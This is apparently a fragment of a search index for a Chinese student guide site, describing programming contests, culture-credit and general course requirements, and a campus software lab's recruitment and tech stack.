    \u8fd9\u4e2a\u5c31\u4e0d\u662f\u4f60\u62a5\u540d\u5c31\u80fd\u53c2\u52a0\u7684\u4e86\uff0c\u9700\u8981\u4f60\u5728\u533a\u57df\u8d5b\u4e2d\u83b7\u5f97\u91d1\u724c\u6216\u8005\u94f6\u724c\u9760\u524d\u7684\u4f4d\u7f6e\u624d\u80fd\u6709\u8d44\u683c\u53c2\u8d5b\uff0c\u8fc7\u53bb\u4e24\u5e74\u90fd\u662f\u5728\u4e0a\u6d77\u5927\u5b66\u4f53\u80b2\u9986\u4e3e\u529e\uff0c\u534e\u4e3a\u4e5f\u4f1a\u5728\u5e02\u4e2d\u5fc3\u8bf7\u4f60\u5403\u996d\uff082024\u5e74\u662f\u6b63\u5927\u5e7f\u573a\uff0c\u540c\u65f6\u6709\u73b0\u573a\u62bd\u5956\uff09

    \u9644\u4e0a\u4e0a\u6d77\u5927\u5b66ACM\u4ff1\u4e50\u90e8\u9a7b\u5730\uff1a

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#acm","title":"\u5a01\u6d77\u5e02 ACM \u7ade\u8d5b","text":"

    \u62a5\u540d\u8d39\u7528 240\u5143\uff0c\u6ca1\u5730\u65b9\u62a5\u9500\uff0c\u53d1\u4e00\u4ef6\u6587\u5316\u886b + \u83b7\u5956\u4e4b\u540e\u7684\u5404\u79cd\u5956\u54c1

    \u6bcf\u5e74\u5728\u5a01\u6d77\u5e02\u5404\u4e2a\u5b66\u6821\u4e4b\u95f4\u4e3b\u529e\uff0c\u54c8\u5de5\u5927\u5a01\u6d77\uff0c\u5c71\u5927\u5a01\u6d77\uff0c\u5317\u4eac\u4ea4\u901a\u5927\u5b66\u5a01\u6d77\uff0c\u54c8\u7406\u5de5\u8363\u6210\u56db\u6240\u5b66\u6821\u8f6e\u6d41\u4e3b\u529e\uff0c\u96be\u5ea6\u76f8\u6bd4\u5176\u4ed6\u6bd4\u8f83\u4f4e\uff0c\u82b1\u8d39\u5c0f\uff0c\u9002\u5408\u7ec4\u961f\u4f53\u9a8c ACM \u7684\u7ebf\u4e0b\u6c1b\u56f4\uff0c\u63d2\u4e2a\u6c14\u7403\u4ec0\u4e48\u7684\u3002

    \u65f6\u95f4\u5728\u6bcf\u5e74 5\u6708\u4efd

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#ccpc","title":"CCPC","text":"

    \u4e2d\u56fd\u5927\u5b66\u751f\u7a0b\u5e8f\u8bbe\u8ba1\u7ade\u8d5b (ccpc.io)

    \u4e2d\u56fd\u5927\u5b66\u751f\u7a0b\u5e8f\u8bbe\u8ba1\u7ade\u8d5b\uff0c\u8ddfICPC\u5728\u4e3e\u529e\u5f62\u5f0f\u4e0a\u6ca1\u4ec0\u4e48\u5dee\u522b\uff0c\u533a\u522b\u662f\u4e0d\u5728\u699c\u5355\u4e0a\uff0c\u4e14\u7531\u4e8e\u89c4\u6a21\u7565\u5c0f\u4f1a\u6bd4ICPC\u533a\u57df\u8d5b\u62ff\u5956\u96be\u5ea6\u7a0d\u5fae\u9ad8\u4e00\u4e9b\u3002

    \u5206\u4e3a\u7701\u8d5b\uff08\u5c71\u4e1c\u7701\u8d5b\u5c5e\u4e8eICPC\u8fd8\u662fCCPC\u770b\u627f\u529e\u5b66\u6821\u548c\u54ea\u8fb9\u5173\u7cfb\u597d\uff09\u3001\u5206\u7ad9\u8d5b\uff08\u5305\u62ec\u5973\u751f\u4e13\u573a\u3001\u9ad8\u804c\u8d5b\uff09\u548c\u5168\u56fd\u603b\u51b3\u8d5b\u3002

    \u6bcf\u5e748-9\u6708\u4f1a\u6709\u4e00\u6b21\u7f51\u7edc\u9884\u9009\u8d5b\uff0c\u6839\u636e\u7f51\u7edc\u9884\u9009\u8d5b\u6210\u7ee9\u548c\u4e00\u4e9b\u5176\u4ed6\u56e0\u7d20\u5206\u914d\u5404\u8d5b\u7ad9\u540d\u989d\u3002\u56db\u573a\u5206\u7ad9\u8d5b\u572810-11\u6708\u5168\u56fd\u5404\u627f\u529e\u5b66\u6821\u4e3e\u884c\uff0c\u603b\u51b3\u8d5b\u6b21\u5e74\u5e74\u4e2d\u4e3e\u884c\uff0c\u6309\u5206\u7ad9\u8d5b\u6210\u7ee9\u664b\u7ea7\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_5","title":"\u4e2a\u4eba\u8d5b","text":""},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#acm_1","title":"\u6821ACM\u65b0\u751f\u8d5b","text":"

    \u6bcf\u5e7412\u6708\u5de6\u53f3\u4f1a\u4e3e\u884c\u9762\u5411\u5168\u6821\u65b0\u751f\u7684ACM\u65b0\u751f\u8d5b\uff0c\u53ea\u6709\u5927\u4e00\u65b0\u751f\u6216\u5927\u4e00\u4e0b\u5b66C\u8bed\u8a00\u7684\u5927\u4e8c\u5b66\u751f\u6709\u8d44\u683c\u6b63\u5f0f\u53c2\u8d5b\uff0c\u6392\u540d\u4f1a\u4f5c\u4e3a\u4e86\u89e3\u5b9e\u529b\u3001\u4e92\u76f8\u7ec4\u961f\u3001\u9009\u4e0b\u5b66\u671f\u7684\u521b\u65b0\u521b\u4e1a\u8bfe\u7684\u53c2\u8003\u548c\u4f9d\u636e\u3002

    ICPC\u8d5b\u5236\u3001\u4e2a\u4eba\u8d5b\uff0c\u6309\u7167\u6709\u6548\u53c2\u8d5b\u4eba\u6570\u768410\uff05\uff0c20\uff05\uff0c30\uff05\uff08\u5411\u4e0a\u53d6\u6574\uff09\u53d1\u653e\u91d1\u3001\u94f6\u3001\u94dc\u5956\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#csp","title":"CSP\u8ba4\u8bc1","text":"

    CCF CSP\u8ba4\u8bc1 (cspro.org)

    CCF\uff08\u4e2d\u56fd\u8ba1\u7b97\u673a\u5b66\u4f1a\uff09\u7ec4\u7ec7\u7684\u8ba4\u8bc1\uff0c\u6bcf\u5e744\u573a\uff0c\u8fbe\u5230\u76f8\u5e94\u5206\u6570\u53ef\u4ee5\u53c2\u4e0e\u8ba1\u9662\u521b\u65b0\u521b\u4e1a\u5206\u8ba4\u5b9a\u3002

    \u7528\u5904\u662f\u4e00\u4e9b\u4fdd\u7814\u590f\u4ee4\u8425\u53ef\u4ee5\u6298\u7b97\u673a\u8003\u6210\u7ee9\uff0c\u62ff\u5230\u4e00\u4e2a\u76f8\u5bf9\u4e0d\u9519\u7684\u673a\u8003\u5206\uff0c\u8fd8\u80fd\u514d\u53bb\u4e0a\u673a\u8003\u8bd5\u3002\uff08eg.\u5317\u822a\uff0c\u4eba\u5927\uff0c...\uff09

    \u51715\u9053\u9898\uff0c\u5927\u6982\u662f2\u9053\u57fa\u7840\u5b9e\u73b0\u9898\uff0c1\u9053\u5927\u6a21\u62df\u9898\uff0c2\u9053\u7b97\u6cd5\u9898\uff0cIOI\u8d5b\u5236\uff08\u65e0\u9650\u6b21\u63d0\u4ea4\uff0c\u6709\u90e8\u5206\u5206\uff0c\u7ed3\u679c\u5b9e\u65f6\u53cd\u9988\uff09\u3002

    \u6ee1\u5206500\u5206\uff0c\u4e00\u822c240\u5206\u80fd\u8fdb\u524d10\uff05\uff0c300\u5206\u80fd\u8fdb\u524d2\uff05\u3002

    \u62a5\u540d\u8d39\u56e2\u62a5\u4f18\u60e0\u4ef750\uff0c\u4e00\u6b21\u6210\u7ee9\u4e0d\u6ee1\u610f\u53ef\u4ee5\u5237\u5206\uff0c\u641e\u70b9\u521b\u65b0\u521b\u4e1a\u5206\u633a\u9999\u7684\u3002

    QQ\u7fa4\uff1a1084373123

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#ccsp","title":"CCSP","text":"

    CCSP - \u4e2d\u56fd\u8ba1\u7b97\u673a\u5b66\u4f1a (ccf.org.cn)

    CCF\u5728CSP\u8ba4\u8bc1\u57fa\u7840\u4e0a\u7ec4\u7ec7\u7684\u6bd4\u8d5b\uff0c\u5168\u79f0CCF \u5927\u5b66\u751f\u8ba1\u7b97\u673a\u7cfb\u7edf\u4e0e\u7a0b\u5e8f\u8bbe\u8ba1\u7ade\u8d5b\uff0c\u786c\u6027\u6761\u4ef6\u662fCSP200\u5206\u4ee5\u4e0a\u3002

    \u6bcf\u5e74\u8ddf\u7740CNCC\u4e2d\u56fd\u8ba1\u7b97\u673a\u5927\u4f1a\u7ec4\u7ec7\u7684\u6bd4\u8d5b\uff0c\u65f6\u95f4\u5927\u6982\u662f11\u6708\u5de6\u53f3\uff0c\u4f18\u70b9\u662f\u62a5\u540d\u540e\u9644\u8d60\u4e00\u4e2aCNCC\u5927\u4f1a\u7684\u5165\u573a\u5377\uff08\u4f60\u8981\u771f\u62a5\u5f972000\u591a\u5462\uff09\uff0c\u53ef\u4ee5\u53bb\u611f\u53d7\u4e00\u4e0b\u3002

    \u630910\uff05\uff0c20\uff05\uff0c30\uff05\u6bd4\u4f8b\u53d1\u91d1\u94f6\u94dc\u5956\u3002\u6bd4\u8d5b\u51715\u9053\u9898\uff0c\u5176\u4e2d3\u9053\u7b97\u6cd5\u9898\uff0c2\u9053\u6bd4\u8f83\u65b0\u9896\u7684\u7cfb\u7edf\u9898\uff0cIOI\u8d5b\u5236\uff0c\u6bd4\u8f83\u8003\u5bdf\u7efc\u5408\u80fd\u529b\u3002

    \u62a5\u540d\u8d39500\uff0c\u7ebf\u4e0b\u6bd4\u8d5b\uff0c\u4eca\u5e74\u7684\u653f\u7b56\u662f\u62a5\u9500\u62a5\u540d\u8d39\u548c\u5dee\u65c5\u8d39\uff0c\u4f46\u662f\u9700\u8981CSP\u8ba4\u8bc1\u8fbe\u5230\u4e00\u5b9a\u6210\u7ee9\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_6","title":"\u84dd\u6865\u676f","text":"

    \u84dd\u6865\u676f\u5927\u8d5b \u2014 \u5168\u56fd\u5927\u5b66\u751fTMT\u884c\u4e1a\u8d5b\u4e8b (lanqiao.cn)

    \u5e94\u8be5\u7b97\u662f\u53c2\u4e0e\u89c4\u6a21\u6700\u5927\u7684\u7b97\u6cd5\u76f8\u5173\u8d5b\u4e8b\u4e86\uff0c\u4f46\u662f\u56e0\u4e3a\u6536\u8d39\u4e0d\u4fbf\u5b9c\u5e38\u5e74\u88ab\u4eba\u5410\u69fd\u5708\u94b1\u3002\u5982\u679c\u9700\u8981\u4e00\u4e9b\u5956\u9879\u7684\u8bdd\u8fd9\u4e2a\u4e5f\u662f\u4e00\u4e2a\u4e0d\u9519\u7684\u9009\u62e9\uff0c\u4f5c\u4e3a\u699c\u5355\u8d5b\u4e8b\u8fd8\u662f\u6709\u4e00\u5b9a\u8ba4\u53ef\u5ea6\u7684\uff0c\u56fd\u8d5b\u7684C++ A\u7ec4\u662f\u5176\u4e2d\u6700\u96be\u7684\u3002

    \u5206\u4e3a\u7701\u8d5b\u548c\u56fd\u8d5b\uff08\u597d\u50cf\u8fd8\u6709\u4e2a\u6821\u5185\u8d5b\uff0c\u4f46\u662f\u4f53\u9a8c\u6027\u8d28\u4e3a\u4e3b\uff09\uff0c\u62a5\u540d\u65f6\u95f4\u662f\u6bcf\u5e74\u768410\u6708-12\u6708\uff0c\u6b21\u5e744\u6708\u7701\u8d5b\uff0c6\u6708\u56fd\u8d5b\u3002

    \u7701\u8d5b\u630910\uff05\uff0c20\uff05\uff0c30\uff05\u6bd4\u4f8b\u53d1\u5956\uff0c\u4e00\u7b49\u5956\u53ef\u4ee5\u6709\u8fdb\u56fd\u8d5b\u8d44\u683c\u3002\u56fd\u8d5b\u4fdd\u5e95\u56fd\u4f18\uff0c\u7136\u540e\u6309\u71675\uff05\uff0c15\uff05\uff0c30\uff05\u53d1\u4e00\u81f3\u4e09\u7b49\u5956\u3002

    \u7279\u70b9\u662f\u6709\u5f88\u591a\u8d5b\u9053\uff0cC++\u7ec4\u5377\u4e0d\u8fc7\u53ef\u4ee5\u53bbPython\uff0cJava\u7ec4\uff0c\u8fd8\u6709\u7535\u5b50\u8d5b\u3001Web\u5f00\u53d1\u7ec4\u8fd9\u6837\u7684\uff0c\u4f46\u662f\u6ca1\u6709\u4f53\u9a8c\u8fc7\u5c31\u4e0d\u8bc4\u8bba\u4e86\u3002

    \u9700\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u4e2a\u662fOI\u8d5b\u5236\uff08\u6709\u90e8\u5206\u5206\uff0c\u4ee5\u6700\u540e\u4e00\u6b21\u63d0\u4ea4\u4e3a\u51c6\uff0c\u6bd4\u8d5b\u8fc7\u7a0b\u4e2d\u4e0d\u77e5\u9053\u5f97\u5206\uff09\uff0c\u6ca1\u6709\u5c1d\u8bd5\u8fc7\u7684\u540c\u5b66\u5efa\u8bae\u63d0\u524d\u5229\u7528\u4e0b\u5f80\u5e74\u9898\u5e93\u6a21\u62df\uff0c\u4e0d\u8981\u51fa\u73b0\u6700\u540e\u56e0\u4e3a\u5404\u79cd\u7ec6\u8282\u95ee\u9898\u7206\u96f6\u7684\u60c5\u51b5\u3002\u4e00\u822c\u662f\u4f1a\u670910\u9053\u9898\uff0c\u5176\u4e2d\u524d4\u9898\u662f\u586b\u7a7a\u9898\uff0c\u53ef\u4ee5\u901a\u8fc7\u66b4\u529b\u6216\u8005\u624b\u5199\u8ba1\u7b97\u7b97\u51fa\u7ed3\u679c\uff0c\u5269\u4e0b\u7684\u4e3a\u7f16\u7a0b\u9898\uff0c\u9700\u8981\u6839\u636e\u9898\u76ee\u6570\u636e\u8303\u56f4\u9009\u62e9\u76f8\u5e94\u7b97\u6cd5\u89e3\u51b3\u3002

    \u7701\u8d5b\u62a5\u540d\u8d39300\uff0c\u7ebf\u4e0a\u6bd4\u8d5b\u3002\u56fd\u8d5b\u62a5\u540d\u8d39300\uff0c\u7ebf\u4e0b\u6bd4\u8d5b\u3002\u653f\u7b56\u5927\u6982\u662f\u7701\u8d5b\u4e0d\u62a5\u9500\uff08\u6216\u8005\u53d1\u653e\u4e00\u70b9\u5956\u54c1\uff09\uff0c\u56fd\u8d5b\u6839\u636e\u5956\u9879\u6309\u4e00\u5b9a\u6bd4\u4f8b\u62a5\u9500\u3002

    QQ\u7fa4\uff1a554521887

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_7","title":"\u767e\u5ea6\u4e4b\u661f\u5927\u8d5b","text":"

    \u767e\u5ea6\u4e4b\u661f\u5927\u8d5b (baidu.com)

    \u4eca\u5e74\u65b0\u8fdb\u5165\u699c\u5355\u7684\u8d5b\u4e8b\uff0c\u767e\u5ea6\u53d1\u8d77\u7684\uff0c\u4e3e\u529e\u5386\u53f2\u6bd4\u8f83\u4e45\uff0c\u542b\u91d1\u91cf\u8fd8\u4e0d\u9519\u3002

    \u5206\u4e3a\u521d\u8d5b\u548c\u51b3\u8d5b\u3002\u521d\u8d5b\u7ebf\u4e0a\u4e3e\u884c\uff0c\u4eca\u5e74\u5171\u67093\u573a\uff0c\u65f6\u95f4\u5206\u5e03\u57288-9\u6708\uff0c\u5206\u7701\u8bc4\u5956\uff0c30\uff05\u83b7\u5956\u7387\uff0c\u6309\u6392\u540d\u5206\u914d\u56fd\u8d5b\u540d\u989d\u3002

    \u56fd\u8d5b\u5f53\u5e74\u5e74\u5e95\u5728\u5317\u4eac\u4e3e\u884c\uff0c60\uff05\u83b7\u5956\u7387\uff08\u4eca\u5e74\u751a\u81f3\u53d1\u4e86\u4e2a\u94c1\u724c\u5956\uff0c\u8fd9\u4e0b\u83b7\u5956\u7387100\uff05\u4e86\uff09\u3002

    \u54c8\u5de5\u5927\u548c\u767e\u5ea6\u6709\u4e00\u4e2a\u767e\u5ea6\u677e\u679c\u73ed\uff0c\u5728\u521d\u8d5b\u4e4b\u524d\u4f1a\u4e3e\u884c\u4e00\u4e2a\u5185\u8bad\u8d5b\u3002\u8fd9\u4e2a\u5185\u8bad\u8d5b\u6253\u5f97\u597d\u4e5f\u4f1a\u83b7\u5f97\u4e00\u5b9a\u76f4\u901a\u56fd\u8d5b\u7684\u540d\u989d\u3002

    ICPC\u8d5b\u5236\u4e2a\u4eba\u8d5b\uff0c\u6ca1\u6709\u90e8\u5206\u5206\uff0c\u7ed3\u679c\u5b9e\u65f6\u53cd\u9988\uff0c\u4f46\u662f\u96be\u5ea6\u53ef\u63a7\uff0c\u7701\u8d5b\u62ff\u5956\u8fd8\u662f\u6bd4\u8f83\u5bb9\u6613\u7684\u3002

    \u521d\u8d5b80\uff0c\u5185\u8bad\u8d5b\u4e0d\u82b1\u94b1\uff0c\u51b3\u8d5b80\uff0c\u4ef7\u683c\u662f\u826f\u5fc3\u7684\u3002\u4eca\u5e74\u7684\u653f\u7b56\u662f\u56fd\u8d5b\u4f1a\u8fdb\u884c\u62a5\u9500\u3002

    QQ\u7fa4\uff1a\u5b66\u6821\u597d\u50cf\u6bcf\u5e74\u4f1a\u5efa\u4e00\u4e2a\uff0c\u4f46\u662f\u57fa\u672c\u4e0a\u662f\u4e2a\u4eba\u62a5\u540d\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_8","title":"\u5176\u4ed6","text":""},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_9","title":"\u534e\u4e3a\u8f6f\u4ef6\u7cbe\u82f1\u6311\u6218\u8d5b","text":"

    2023\u534e\u4e3a\u8f6f\u4ef6\u7cbe\u82f1\u6311\u6218\u8d5b\u2014\u2014\u666e\u6717\u514b\u8ba1\u5212 (huaweicloud.com)

    \u4e0d\u662f\u4f20\u7edf\u610f\u4e49\u4e0a\u7b97\u6cd5\u7ade\u8d5b\uff0c\u6709\u70b9\u50cf\u5de5\u7a0b\u7ade\u8d5b\uff0c\u4e00\u822c\u662f\u6c42\u89e3\u4e00\u4e2a\u4f18\u5316\u95ee\u9898\u3002\u8fdb\u533a\u57df\u8d5b32\u5f3a\u4e86\u534e\u4e3a\u8bf7\u4f60\u514d\u8d39\u65c5\u6e38\u5f88\u9999\uff0c\u8fd8\u4f1a\u6709\u4e00\u4e9b\u5176\u4ed6\u7684\u5956\u54c1\uff0c\u4f46\u662f\u6c5f\u5c71\u8d5b\u533a\u5f88\u5377\uff0c\u505a\u597d\u5fc3\u7406\u51c6\u5907\uff0c\u540c\u65f6\u53c2\u8d5b\u4ece\u672c\u79d1\u4e00\u76f4\u5230\u535a\u58eb\u90fd\u6709\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#c4-ai","title":"C4-AI\u3001\u8f6f\u521b\u3001\u670d\u521b\u3001\u4e92\u8054\u7f51+\u3001\u6311\u6218\u676f\u3001\u7269\u8054\u7f51\u3001\u4e09\u521b\u8d5b\u3001\u4fe1\u606f\u5b89\u5168\u8d5b...","text":"

    \u4fdd\u7814\u8d5b\u4e8b\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#ctf","title":"CTF","text":"

    \u54a8\u8be2\u9694\u58c1\u7f51\u9875\uff1a Chive::CTF \u7b2c\u4e94\u7a7a\u95f4

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_10","title":"\u4e00\u4e9b\u5f85\u6316\u6398\u7684\u8d5b\u4e8b","text":"

    \u56e2\u4f53\u7a0b\u5e8f\u8bbe\u8ba1\u5929\u68af\u8d5b\uff08GPLT\uff09\uff0cCCF-CAT\uff0cRoboCom\uff08CAIP\u7f16\u7a0b\u8bbe\u8ba1\u8d5b\u9053\uff09\uff0cHWS\u8ba1\u5212\uff0cKaggle......

    "},{"location":"culture/","title":"\u6587\u5316\u7d20\u8d28\u8bfe","text":"

    \u6839\u636e\u8ba1\u7b97\u673a\u57f9\u517b\u65b9\u6848\uff0c2022\u7ea7\u5f00\u59cb\u672c\u79d1\u6bd5\u4e1a\u9700\u89818\u5206\u6587\u5316\u7d20\u8d28\u5206\uff0c\u5176\u4e2d\u8981\u6c42\u7f8e\u5b66\u4e0e\u827a\u672f\u9274\u8d4f\u6a21\u5757\u81f3\u5c112\u5206\uff0c\u56db\u53f2\u8bfe\u7a0b\u81f3\u5c111\u5206\u3002\u5efa\u8bae\u5728\u5927\u4e09\u4e0b\u5b66\u671f\u4e4b\u524d\u4fee\u5b8c\u6240\u6709\u5206\u6570\uff0c\u65b9\u4fbf\u8ba1\u7b97\u673a\u540c\u5b66\u5927\u4e09\u4e0b\u5bfb\u627e\u5b9e\u4e60\u3002

    2023\u5c4a\u5b66\u751f\u5f00\u59cb\u672c\u79d1\u6bd5\u4e1a\u9700\u89818\u5206\u7684\u6587\u5316\u7d20\u8d28\u5206\uff0c\u5176\u4e2d\u8981\u6c42\u7f8e\u5b66\u4e0e\u827a\u672f\u9274\u8d4f\u6a21\u57572\u5b66\u5206\uff0c\u56db\u53f2\u8bfe\u7a0b1\u5206\uff0c\u6587\u5316\u827a\u672f\u8bb2\u5ea71\u5206\uff088\u6b21\uff09\u8bf7\u5c3d\u65e9\u89c4\u5212\u3002

    "},{"location":"culture/%E5%AE%9E%E7%94%A8%E7%9F%A5%E8%AF%86%E4%B8%8E%E6%8A%80%E8%83%BD/5/","title":"\u4e2d\u534e\u4f20\u7edf\u9999\u6587\u5316","text":"

    \u8fd9\u95e8\u8bfe\u539f\u6765\u662f\u7f8e\u5b66\u4e0e\u827a\u672f\u9274\u8d4f\u7684\u8bfe\u7a0b\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565\u7a81\u7136\u5212\u5206\u5230\u5b9e\u7528\u77e5\u8bc6\u4e0e\u6280\u80fd\u8fd9\u91cc\u4e86\u3002

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    "},{"location":"general/generalEnglishA/#_4","title":"\u8bfe\u7a0b\u6559\u6750","text":"

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    Note

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    LevelUp\u5927\u5b66\u82f1\u8bed\u80fd\u529b\u7a81\u7834\uff1a\u65b0\u95fb\u542c\u529b\u7cbe\u8bb2

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    ps: \u5b9e\u8d28\u4e0a\u89c6\u542c\u8bf4\u6559\u7a0b\u548c\u65b0\u95fb\u542c\u529b\u7cbe\u8bb2\u5b8c\u5168\u53ef\u4ee5\u5728\u626b\u63cf\u4e8c\u7ef4\u7801\u5151\u6362\u9898\u5e93\u4e4b\u540e\u5356\u4e86\uff08\uff09

    "},{"location":"general/generalEnglishA/#_5","title":"\u526f\u4ea7\u7269","text":"

    \u624b\u673a\u7aef\uff1aU\u6821\u56ed\uff0cWELearn\uff0cFiF\u53e3\u8bed

    \u7535\u8111\u7aef\uff1aiTest\u7231\u8003\u8bd5

    \u7f51\u9875\u7aef\uff1a\u6279\u6539\u7f51http://www.pigai.org

    "},{"location":"general/generalEnglishA/#_6","title":"\u5206\u6570\u6784\u6210","text":"\u53f2\u5149\u5b5d

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    "},{"location":"general/generalEnglishA/#_7","title":"\u8350\u4e66","text":"

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    "},{"location":"general/generalEnglishA/#_8","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHLL12001E

    "},{"location":"general/ideology/","title":"\u601d\u60f3\u9053\u5fb7\u4e0e\u6cd5\u6cbb","text":"SE <\u4e13\u4e1a\u57fa\u7840>"},{"location":"general/ideology/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

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    "},{"location":"general/ideology/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

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    "},{"location":"general/ideology/#_4","title":"\u4efb\u8bfe\u6559\u5e08","text":"\u6797\u82f1\u6885\u5f20\u8fd0\u6240

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    "},{"location":"general/ideology/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

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    "},{"location":"general/ideology/#_7","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHMX11002

    "},{"location":"general/newthoughts/","title":"\u4e60\u8fd1\u5e73\u65b0\u65f6\u4ee3\u4e2d\u56fd\u7279\u8272\u793e\u4f1a\u4e3b\u4e49\u601d\u60f3\u6982\u8bba","text":"SE <\u4e13\u4e1a\u57fa\u7840>"},{"location":"general/newthoughts/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

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    "},{"location":"general/newthoughts/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

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    "},{"location":"general/newthoughts/#_4","title":"\u4efb\u8bfe\u6559\u5e08","text":"\u80e1\u4fca\u751f

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    "},{"location":"general/newthoughts/#_6","title":"\u5206\u6570\u6784\u6210","text":"\u80e1\u4fca\u751f

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    Quote

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    "},{"location":"general/newthoughts/#_7","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHMX11001

    "},{"location":"innovation/","title":"\u4ecb\u7ecd","text":"

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    "},{"location":"labs/IcePhone%26WeRun/#_4","title":"\u6307\u5bfc\u6559\u5e08","text":"

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    "},{"location":"labs/IcePhone%26WeRun/#_5","title":"\u5b9e\u9a8c\u5ba4\u65b9\u5411","text":"

    Note

    \u62db\u65b0\u5206\u4e3a\u51ac\u62db\u548c\u590f\u62db\uff0c\u5728\u7eb3\u65b0\u7fa4\u4e2d\u5206\u914d\u9879\u76ee\uff0c\u5927\u4e00\u4ece\u96f6\u5f00\u59cb\uff0c\u5927\u4e8c\u76f4\u63a5\u5b9e\u6218\uff0c\u7531\u9879\u76ee\u597d\u574f\u7b5b\u9009\u9762\u8bd5\u540d\u5355\uff0c\u9762\u8bd5\u6709\u5c55\u793a\u9879\u76ee\uff0c\u9610\u8ff0\u9879\u76ee\u7ec6\u8282\uff0c\u7406\u8bba\u77e5\u8bc6\u95ee\u7b54\u7b49\u73af\u8282\uff0c\u5efa\u8bae\u63d0\u524d\u51c6\u5907\u3002\u6b64\u6761\u9002\u7528\u4e8e\u4ee5\u4e0b\u6240\u6709\u65b9\u5411

    \u5a01\u8f6f\u524d\u7aef\u5a01\u8f6f\u540e\u7aef\u5a01\u8f6f\u5c0f\u7a0b\u5e8f\u51b0\u5cf0\u5b89\u5353AI

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    HTML

    \u8d85\u6587\u672c\u6807\u8bb0\u8bed\u8a00\uff08\u82f1\u8bed\uff1aHyperText Markup Language\uff0c\u7b80\u79f0\uff1aHTML\uff09\u662f\u4e00\u79cd\u7528\u4e8e\u521b\u5efa\u7f51\u9875\u7684\u6807\u51c6\u6807\u8bb0\u8bed\u8a00\u3002

    CSS

    CSS \uff08Cascading Style Sheets\uff0c\u5c42\u53e0\u6837\u5f0f\u8868\uff09\uff0c\u662f\u4e00\u79cd\u7528\u6765\u4e3a\u7ed3\u6784\u5316\u6587\u6863\uff08\u5982 HTML \u6587\u6863\u6216 XML \u5e94\u7528\uff09\u6dfb\u52a0\u6837\u5f0f\uff08\u5b57\u4f53\u3001\u95f4\u8ddd\u548c\u989c\u8272\u7b49\uff09\u7684\u8ba1\u7b97\u673a\u8bed\u8a00

    JavaScript

    JavaScript \u662f Web \u7684\u7f16\u7a0b\u8bed\u8a00\u3002

    VUE

    VUE\u662f\u4e00\u5957\u6784\u5efa\u7528\u6237\u754c\u9762\u7684\u6e10\u8fdb\u5f0f\u6846\u67b6\u3002

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    Java

    Java\u662f\u4e00\u79cd\u9ad8\u7ea7\u7a0b\u5e8f\u8bbe\u8ba1\u8bed\u8a00

    SQL

    SQL\u662f\u7528\u4e8e\u8bbf\u95ee\u548c\u5904\u7406\u6570\u636e\u5e93\u7684\u6807\u51c6\u7684\u8ba1\u7b97\u673a\u8bed\u8a00\u3002

    Spring

    Spring is a popular and powerful Java framework that simplifies development, enhances productivity, and enables cloud-ready services.

    Uniapp

    uni-app is a framework for developing all front-end applications using Vue.js, which can run on iOS, Android, Web, and various small programs.

    WeUI

    WeUI \u662f\u4e00\u5957\u540c\u5fae\u4fe1\u539f\u751f\u89c6\u89c9\u4f53\u9a8c\u4e00\u81f4\u7684\u57fa\u7840\u6837\u5f0f\u5e93

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    Java

    \u751a\u81f3\u51b0\u5cf0\u7684\u5927\u4e00\u7b2c\u4e00\u6b21\u4f5c\u4e1a\u548c\u540e\u7aef\u662f\u4e00\u8d77\u7684

    Kotlin

    Kotlin \u662f\u4e00\u79cd\u5728 Java \u865a\u62df\u673a\u4e0a\u8fd0\u884c\u7684\u9759\u6001\u7c7b\u578b\u7f16\u7a0b\u8bed\u8a00

    Go

    \u8fd8\u5728Go\u8fd8\u5728Go\u8fd8\u5728Go

    Go \u662f\u4e00\u4e2a\u5f00\u6e90\u7684\u7f16\u7a0b\u8bed\u8a00

    Flutter

    Flutter\u662f\u8c37\u6b4c\u7684\u79fb\u52a8UI\u6846\u67b6\uff0c\u53ef\u4ee5\u5feb\u901f\u5728iOS\u548cAndroid\u4e0a\u6784\u5efa\u9ad8\u8d28\u91cf\u7684\u539f\u751f\u7528\u6237\u754c\u9762\u3002

